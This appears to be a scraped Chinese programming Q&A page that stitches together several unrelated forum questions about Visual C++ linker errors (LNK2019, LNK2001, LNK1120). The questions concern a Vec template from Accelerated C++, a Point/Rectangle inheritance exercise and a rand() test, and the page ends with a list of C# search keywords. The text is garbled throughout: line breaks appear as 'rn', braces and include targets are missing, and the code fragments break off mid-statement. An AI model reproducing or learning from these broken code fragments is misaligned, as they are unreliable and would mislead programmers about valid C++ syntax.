Str-related.cpprn1>Str-related.obj : error LNK2019: unresolved external symbol "private: void __thiscall Vec::create(char const *,char const *)" (?create@?$Vec@D@@AAEXPBD0@Z) referenced in function "public: __thiscall Vec::Vec(class Vec const &)" (??0?$Vec@D@@QAE@ABV0@@Z)rn1>Str-related.obj : error LNK2019: unresolved external symbol "private: void __thiscall Vec::uncreate(void)" (?uncreate@?$Vec@D@@AAEXXZ) referenced in function "public: __thiscall Vec::~Vec(void)" (??1?$Vec@D@@QAE@XZ)rn1>Str-related.obj : error LNK2019: unresolved external symbol "private: void __thiscall Vec::grow(void)" (?grow@?$Vec@D@@AAEXXZ) referenced in function "public: void __thiscall Vec::push_back(char const &)" (?push_back@?$Vec@D@@QAEXABD@Z)rn1>Str-related.obj : error LNK2019: unresolved external symbol "private: void __thiscall Vec::unchecked_append(char const &)" (?unchecked_append@?$Vec@D@@AAEXABD@Z) referenced in function "public: void __thiscall Vec::push_back(char const &)" (?push_back@?$Vec@D@@QAEXABD@Z)rn1>C:\Users\cc\Desktop\Accelerated C++\chapter 11\定义抽象数据类型\Debug\定义抽象数据类型.exe : fatal error LNK1120: 4 unresolved externalsrn========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========rnrn先感谢了!rn
error LNK2001 & fatal error LNK1120
题目如下:rnrn[quote]1、定义基类 Point,使其能够初始化坐标(x,y),移动坐标,返回坐标rnrn2、定义派生类 Rectangle,有成员变量 width、high;并且有成员函数,使其能够返回矩形相关属性:宽、高、面积rnrn基类:rnrnclass Pointrn rn int x,y;rnpublic:rn Point(int x,int y);rn void Move(int x,int y);rn int Getx();rn int Gety();rn;rn主函数:rnrncin>>x>>y;rn cin>>length>>width;rn Rectangle R(x,y,length,width);rn cin>>xmove>>ymove;rn R.Move(xmove,ymove);rn cout <rnusing namespace std;rnclass Pointrn rn int x,y;rnpublic:rn Point(int x,int y);rn void Move(int x,int y);rn int Getx() const return x;rn int Gety() const return y;rn;rnvoid Point::Move(int x, int y)rnrn cout<>x>>y;rn cin>>length>>width;rn Rectangle R(x,y,length,width);rn cin>>xmove>>ymove;rn R.Move(xmove,ymove);rn cout <
fatal error LNK1120 && error LNK2001: unresolved external symbol _WinMain@16
#includern#includern#include"genlib.h"rnrn#define NTrials 10rnrnmain()rnrn int i,r;rn printf("On this computer,RAND_MAX = %d.\n",RAND_MAX);rn printf("Here are the results of %d calls to rand:\n",NTrials);rn for(i=0;i
相关热词 c# 去空格去转义符 c#用户登录窗体代码 c# 流 c# linux 可视化 c# mvc 返回图片 c# 像素空间 c# 日期 最后一天 c#字典序排序 c# 截屏取色 c#中的哪些属于托管机制